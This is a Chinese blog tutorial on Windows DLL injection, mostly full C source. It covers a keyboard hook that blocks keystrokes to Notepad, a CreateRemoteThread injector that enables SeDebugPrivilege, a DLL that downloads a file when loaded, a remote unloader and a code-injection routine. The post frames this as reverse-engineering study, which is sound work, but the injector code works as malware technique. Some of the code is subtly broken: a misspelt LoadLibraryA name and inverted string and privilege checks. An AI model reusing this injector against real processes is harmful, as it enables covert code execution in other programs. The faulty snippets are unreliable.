旧文迁移,DLL注入就是强制插入dll到其他进程并使其在目标进程权限下运行,本文持续补充新方法。
消息钩取
Windows的GUI是事件驱动的,当系统接收到一个事件,将会把它发送到发生该事件的程序的消息队列,程序会循环读取消息队列取出消息并执行相应的事件函数,而用户可以在事件从系统到应用程序传递过程中安装钩子,截获消息,对消息进行操作,钩子可以安装多个,形成钩链,最后安装的钩子最先获取消息!安装钩子后,当事件发生时,将自动将dll注入到进程。基础知识可以参考:http://blog.csdn.net/jiangxinyu/article/details/5284079
接下来,是写一个针对键盘事件的系统钩子,但是它只对名为”NOTEPAD.EXE”的进程起作用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| #include<stdio.h> #include<Windows.h>
#define DEF_PROCESS_NAME "NOTEPAD.EXE"
HINSTANCE g_hInstance = NULL; HHOOK g_hHook = NULL; HWND g_hWnd = NULL;
BOOL WINAPI DllMain(HINSTANCE hinstance, DWORD dwReason, LPVOID lpvReversed) { switch (dwReason) { case DLL_PROCESS_ATTACH: g_hInstance = hinstance; break; case DLL_PROCESS_DETACH: break; } return TRUE; }
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) { char szPath[MAX_PATH] = { 0 }; char *p = NULL; if (nCode >= 0) { if (!(lParam & 0x80000000)) { GetModuleFileNameA(NULL, szPath, MAX_PATH); p = strrchr(szPath, '\\'); if (!_stricmp(p + 1, DEF_PROCESS_NAME)) return 1; } } return CallNextHookEx(g_hHook, nCode, wParam, lParam); } #ifdef __cplusplus extern "C" { #endif __declspec(dllexport) void HookStart() { g_hHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstance, 0); } __declspec(dllexport) void HookStop() { if (g_hHook) { UnhookWindowsHookEx(g_hHook); g_hHook = NULL; } } #ifdef __cplusplus } #endif
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| #include "stdio.h" #include "conio.h" #include "windows.h"
#define DEF_DLL_NAME "KeyHook.dll" #define DEF_HOOKSTART "HookStart" #define DEF_HOOKSTOP "HookStop"
typedef void (*PFN_HOOKSTART)(); typedef void (*PFN_HOOKSTOP)();
void main() { HMODULE hDll = NULL; PFN_HOOKSTART HookStart = NULL; PFN_HOOKSTOP HookStop = NULL; char ch = 0;
hDll = LoadLibraryA(DEF_DLL_NAME); if( hDll == NULL ) { printf("LoadLibrary(%s) failed!!! [%d]", DEF_DLL_NAME, GetLastError()); return; }
HookStart = (PFN_HOOKSTART)GetProcAddress(hDll, DEF_HOOKSTART); HookStop = (PFN_HOOKSTOP)GetProcAddress(hDll, DEF_HOOKSTOP);
HookStart();
printf("press 'q' to quit!\n"); while( _getch() != 'q' ) ;
HookStop(); FreeLibrary(hDll); }
|
此DLL会hook所有进程,即使是启动钩取再启动其他程序,其他程序也会被钩取,钩取发生在发生相应的事件时,如下,这里只有发生键盘事件dll才会被注入:
这里验证了,只要发生键盘事件的进程都被注入了dll:
调试:
调试HookMain:
很简单就可以发现主函数,进入:
由于是自己写的代码,还是C很好分析,当将od的分析选项设置显示本地变量,将会使用[local.n]的形式显示函数本地,n一般为相对EBP的双字距离,这里看出调用返回值保存在[local.1]这个变量。
这里先是调用了GetProcAddress函数,返回值保存在[local.2],[local.3]这两个变量里,接着调用了[local.2](其实它里面存的就是HookStart函数的实际地址),跟入:
跟着跳转:
安装钩子,返回上一级,停止钩取,释放DLL:
试试NOTEPAD:
先开启此选项,等下记事本中被注入dll时会暂停,现在调试notepad,并运行HookMain,接着在记事本里面触发键盘事件:
若是第一次接触Win SDK,应该会很懵逼,什么HINSTANCE, LPVOID,PCSRT类型,根本没遇见过,其实使用VS可以直接转到定义,会发现他们其实就是C的基本数据类型,只是使用了typedef重新拥有了更加准确的名字,然后遇到的很多宏定义也可以转到定义,甚至可以看到注释,而我们写的函数那些似乎没有被调用,或者没有使用实参,其实那些都是系统或者编译器隐式的写入了。。。
使用调试器注入
调试器几乎拥有和被调试者同等的权限,可以对被调试者进行各种操作,YY一下od对被调试者进行的操作即可,在API钩取处与反调试中有,此处不写。
使用CreateProcess注入
进程在创建子进程时可以得到子进程的句柄,并将它挂起执行一些操作后再使之运行。
使用木马注入
替换原程序使用的dll,使用函数转移实现原函数的功能。
使用注册表
User32.dll
是每一个有图形化界面软件都载入的,它在被映射到新进程时会执行DllMain
函数,其中有第一次附加在进程将会读取AppInit_DLLs
项的值(值为以空格或逗号分隔的dll文件名),并加载他们(LoadAppInit_DLLs
值为1时)
于是,这种方式只对所有GUI程序起作用,而且对所有的这类程序都起作用,外力不能对其进行控制。
创建远程线程
据称是最好用的,因为它能很好的控制dll。dll注入本质就是让目标进程执行LoadLibrary API加载指定dll,而一般情况下,每个进程都有各自的内存空间,一个进程不能操作另一个进程,幸运的是Windows系统提供了一些特殊的API,可以对其他进程进行一些操作(一般用于调试等特殊操作),CreateRemoteThread()
就是这样的API,可以在目标进程中创建新线程,并令其执行指定命令。
1 2 3 4 5 6 7 8 9
| HANDLE CreateRemoteThread( HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId );
|
那么我们可以写一个注入程序A,在这个程序里面执行CreateRemoteThread()
向目标程序B注入代码,这里需要注意,A虽然可以向B发出指令,使其新创建线程并运行指定函数,但他们并不在同一个进程空间,所以下面很多东西不能直接用呢,观察此API:
第一个参数为目标进程句柄,可以轻易获取
第二个参数为线程安全属性,随意设置
第三个参数,堆栈大小,开心就好
第四个参数,回调函数的地址(是目标进程空间中的)
第五个参数,回调函数的参数地址(是目标进程空间中的)
。。。
问题就在这里,为使目标加载我们指定的dll就是使用LoadLibrary(“name.dll”)
,即第四,五个参数为这两个,但是第四个参数如果直接填LoadLibrary
它将是注入程序A中指向导入地址表里面的跳转的地址,和目标进程B不一定一样,在B中执行很可能会出错,不过根据《Windows核心编程》作者这位大佬的经验,所有的Windows系统库将会在所有程序中被加载到同样的地址,于是我们可以直接在A中获取LoadLibraryA
这个API的VA,它在B中VA也是那么多。第二个问题是回调函数的参数是A进程中指向”name.dll”这个字符串的地址,那么在B中就不知道指向的东西是什么了,我们必须将这个字符串放在B的内存空间中才行!依然幸运,Windows提供操作其他进程内存空间的API,可以对目标进程空间进行分配释放和内存读写操作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| LPVOID VirtualAllocEx( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect ); BOOL WINAPI VirtualFreeEx( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType ); BOOL WINAPI ReadProcessMemory( __in HANDLE hProcess, __in LPCVOID lpBaseAddress, __out LPVOID lpBuffer, __in SIZE_T nSize, __out SIZE_T *lpNumberOfBytesRead ); BOOL WINAPI WriteProcessMemory( __in HANDLE hProcess, __in LPVOID lpBaseAddress, __in LPCVOID lpBuffer, __in SIZE_T nSize, __out SIZE_T *lpNumberOfBytesWritten );
|
解决了上面两个问题,就可以来贴代码了!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113
| #include "windows.h" #include "tchar.h"
BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) { TOKEN_PRIVILEGES tp; HANDLE hToken; LUID luid;
if( !OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken) ) { _tprintf(L"OpenProcessToken error: %u\n", GetLastError()); return FALSE; } if( !LookupPrivilegeValue(NULL, lpszPrivilege, &luid) ) { _tprintf(L"LookupPrivilegeValue error: %u\n", GetLastError() ); return FALSE; } tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; if( bEnablePrivilege ) tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; else tp.Privileges[0].Attributes = 0;
if( !AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES) NULL, (PDWORD) NULL) ) { _tprintf(L"AdjustTokenPrivileges error: %u\n", GetLastError() ); return FALSE; }
if( GetLastError() == ERROR_NOT_ALL_ASSIGNED ) { _tprintf(L"The token does not have the specified privilege. \n"); return FALSE; }
return TRUE; }
BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath) { HANDLE hProcess = NULL, hThread = NULL; HMODULE hMod = NULL; LPVOID pRemoteBuf = NULL; DWORD dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR); LPTHREAD_START_ROUTINE pThreadProc;
if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) ) { _tprintf(L"OpenProcess(%d) failed!!! [%d]\n", dwPID, GetLastError()); return FALSE; }
pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllPath, dwBufSize, NULL);
hMod = GetModuleHandle(L"kernel32.dll"); pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW"); hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL); WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread); CloseHandle(hProcess);
return TRUE; }
int _tmain(int argc, TCHAR *argv[]) { if( argc != 3) { _tprintf(L"USAGE : %s <pid> <dll_path>\n", argv[0]); return 1; }
if( !SetPrivilege(SE_DEBUG_NAME, TRUE) ) return 1;
if( InjectDll((DWORD)_tstol(argv[1]), argv[2]) ) _tprintf(L"InjectDll(\"%s\") success!!!\n", argv[2]); else _tprintf(L"InjectDll(\"%s\") failed!!!\n", argv[2]);
return 0; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| #include "windows.h" #include "tchar.h"
#pragma comment(lib, "urlmon.lib")
#define DEF_URL (L"http://www.baidu.com/index.html") #define DEF_FILE_NAME (L"lala.html")
HMODULE g_hMod = NULL;
DWORD WINAPI ThreadProc(LPVOID lParam) { TCHAR szPath[_MAX_PATH] = {0,}; if( !GetModuleFileName( g_hMod, szPath, MAX_PATH ) ) return FALSE; TCHAR *p = _tcsrchr( szPath, '\\' ); if( !p ) return FALSE; _tcscpy_s(p+1, _MAX_PATH, DEF_FILE_NAME); URLDownloadToFile(NULL, DEF_URL, szPath, 0, NULL);
return 0; }
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { HANDLE hThread = NULL;
g_hMod = (HMODULE)hinstDLL;
switch( fdwReason ) { case DLL_PROCESS_ATTACH : OutputDebugString(L"<myhack.dll> Injection!!!"); hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL); CloseHandle(hThread); break; }
return TRUE; }
|
效果:
没有效果。。。在win10上先是权限不够注入失败
有权限后显示成功并且能被杀软拦截,但是放行后任然没有下载文件到本地,使用debugview也捕获不到调试输出,使用process explorer查看没有进程被载入
然后突然想到自己太懒了,这里只输入了相对路径,在cmd下没毛病,但是注入到指定进程绝壁会出错。。。
哈哈哈,成功把目标进程弄崩溃啦!不过还是成功执行并下载了文件,但是,我似乎说错了一个地方:GetModuleFileName
获取的是dll的路径!
卸载
之前是使用LoadLibrary()
加载dll,现在就使用FreeLibrary()
卸载它,需要注意的是,前者使dll引用计数加一,后者使之减一,只有引用计数为0才会从进程空间卸载掉,另外FreeLibrary()
只能卸载动态加载的dll,A进程要使B进程卸载dll需要A进程有权限这样做,一般即使进程有权限也是出于禁用状态,需要先启用该权限,使用此函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| BOOL setPrivilege(LPCSTR lpszPrivilege,BOOL bEnablePrivilege) { HANDLE hToken; LUID luid; TOKEN_PRIVILEGES tokenPrivilege; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { _tprintf("打开进程令牌出错:%u\n",GetLastError()); return FALSE; } if (!LookupPrivilegeValue(NULL, lpszPrivilege, &luid)) { _tprintf("查找LUID出错:%u\n", GetLastError()); return FALSE; } tokenPrivilege.PrivilegeCount = 1; tokenPrivilege.Privileges[0].Luid = luid; if (bEnablePrivilege) tokenPrivilege.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; else tokenPrivilege.Privileges[0].Attributes = 0; if (AdjustTokenPrivileges(hToken, FALSE, &tokenPrivilege, sizeof(tokenPrivilege), NULL, NULL)) { _tprintf("调整权限出错:%u\n", GetLastError()); return FALSE; } if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) { _tprintf("未获取到全部权限:%u\n", GetLastError()); return FALSE; } return TRUE; }
|
有权限后,需要先获取B进程的pid,之前我们是使用任务管理器直接获取的pid,现在写一个用进程名获取pid的函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| DWORD getProcessId(LPCSTR processName) { HANDLE hSnapshot; DWORD processID = 0xffffffff; PROCESSENTRY32 tmpProcessSnap; hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); if (hSnapshot == (HANDLE)-1) { _tprintf("获取进程列表出错!\n"); return processID; } Process32First(hSnapshot, &tmpProcessSnap); do { if (_tcsicmp(processName, tmpProcessSnap.szExeFile)) { processID = tmpProcessSnap.th32ProcessID; break; } } while (Process32Next(hSnapshot, &tmpProcessSnap)); CloseHandle(hSnapshot); return processID; }
|
接下来就是对B进程的DLL操作了,由于已经加载了,可以使用CreateToolhelp32Snapshot
函数获取模块的基址,即FreeLibrary的参数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| BOOL unload(DWORD processId,LPCSTR dllName) { HMODULE hModule; LPVOID dllBaseAddress; LPTHREAD_START_ROUTINE freeLibrary; BOOL finded = FALSE; HANDLE hSnapshot; MODULEENTRY32 tmpModuleSnapshot; HANDLE hProcess; HANDLE hThread; hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, processId); Module32First(hSnapshot, &tmpModuleSnapshot); do { if (!_tcsicmp(dllName, tmpModuleSnapshot.szModule)||!_tcsicmp(dllName,tmpModuleSnapshot.szExePath)) { finded = TRUE; break; } } while (Module32Next(hSnapshot, &tmpModuleSnapshot)); if (!finded) { CloseHandle(hSnapshot); return FALSE; } dllBaseAddress = tmpModuleSnapshot.modBaseAddr; hModule = GetModuleHandle("kernel32.dll"); freeLibrary = (LPTHREAD_START_ROUTINE)GetProcAddress(hModule, "FreeLibrary"); if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId))) { _tprintf("打开目标进程出错:%u\n", GetLastError()); return FALSE; } hThread = CreateRemoteThread(hProcess, NULL, 0, freeLibrary, dllBaseAddress, 0, NULL); WaitForSingleObject(hThread, INFINITE); CloseHandle(hProcess); CloseHandle(hThread); CloseHandle(hSnapshot); return TRUE; }
|
一切OK,开始执行试试:
(真心忘得差不多了,在win10下总是失败,最后才想起来CreateRemoteThread在64位下不能注入成功,还有注入时dll必须写全路径!)
代码注入[误]
实在不知道怎么安放它,就添在这里吧,因为代码注入和DLL注入技术原理相似,在DLL注入中,是在目标进程中开辟一个空间用来存放LoadLibrary函数的参数,即要注入的进程的路径,而想要注入的代码存在于DLL中,利用DLL被加载后自动运行DLLMain函数中的代码来实现目的,于是我们需要将想注入的代码存放在dll中,它适合代码量比较大的情况,而要是只有少量代码则可使用代码注入技术,它是在目标进程中开辟一片空间用来存放代码和代码运行所需要的数据,这样就不再需要独立的DLL了,隐蔽性较好。方便理解的是直接在目标空间注入机器语言,它的首地址为CreateRemoteThread的第四个参数,即线程执行的地址,这个要求比较高,书上给出的方法就很巧妙了,直接上代码,这是参数部分:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| typedef struct _THREAD_PARAM { FARPROC pFunc[2]; char szBUF[4][128];
}THREAD_PARAM,*PTHREAD_PARAM;
typedef HMODULE (WINAPI *PFLOADLIBRARYA)(LPCSTR lpLibName); typedef FARPROC(WINAPI *PFGERPROCADDRESS)(HMODULE hModule, LPCSTR lpProcName); typedef int (WINAPI *PFMESSAGEBOXA)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType); DWORD ThreadProc(LPVOID lParam) { PTHREAD_PARAM nParam = (PTHREAD_PARAM)lParam; HMODULE hMod = NULL; FARPROC pFunc = NULL; hMod = ((PFLOADLIBRARYA)nParam->pFunc[0])(nParam->szBUF[0]); pFunc = ((PFGERPROCADDRESS)nParam->pFunc[1])(hMod,nParam->szBUF[1]); ((PFMESSAGEBOXA)pFunc)(NULL, nParam->szBUF[2], nParam->szBUF[3], MB_OK);
return 0; }
|
接下来是注入部分:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| BOOL InjectCode(DWORD dwPid) { THREAD_PARAM param = { 0 }; HMODULE hMod = NULL; HANDLE hProcess = NULL; DWORD dwSize = 0; LPVOID paramAddress = 0; LPVOID threadProcAddress = 0; HANDLE hThread = NULL; hMod = GetModuleHandleA("kernel32.dll"); param.pFunc[0] = GetProcAddress(hMod,"LoadLiraryA"); param.pFunc[1] = GetProcAddress(hMod, "GetProcAddress"); strcpy_s(param.szBUF[0], "user32.dll"); strcpy_s(param.szBUF[1], "MessageBoxA"); strcpy_s(param.szBUF[2], "betamao.me"); strcpy_s(param.szBUF[3], "BetaMao's Notes"); hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid); dwSize = sizeof(THREAD_PARAM); paramAddress = VirtualAllocEx(hProcess, 0, dwSize, MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(hProcess, paramAddress, ¶m, dwSize, NULL); dwSize = (DWORD)InjectCode - (DWORD)ThreadProc; threadProcAddress = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hProcess, threadProcAddress, ThreadProc, dwSize, NULL); hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)threadProcAddress, paramAddress, 0, 0); WaitForSingleObject(hThread,INFINITE);
CloseHandle(hThread); CloseHandle(hProcess);
return TRUE; }
|
接着,再把之前写的提升权限和查找pid的函数加进来就可以实现功能了
来源
逆向工程核心原理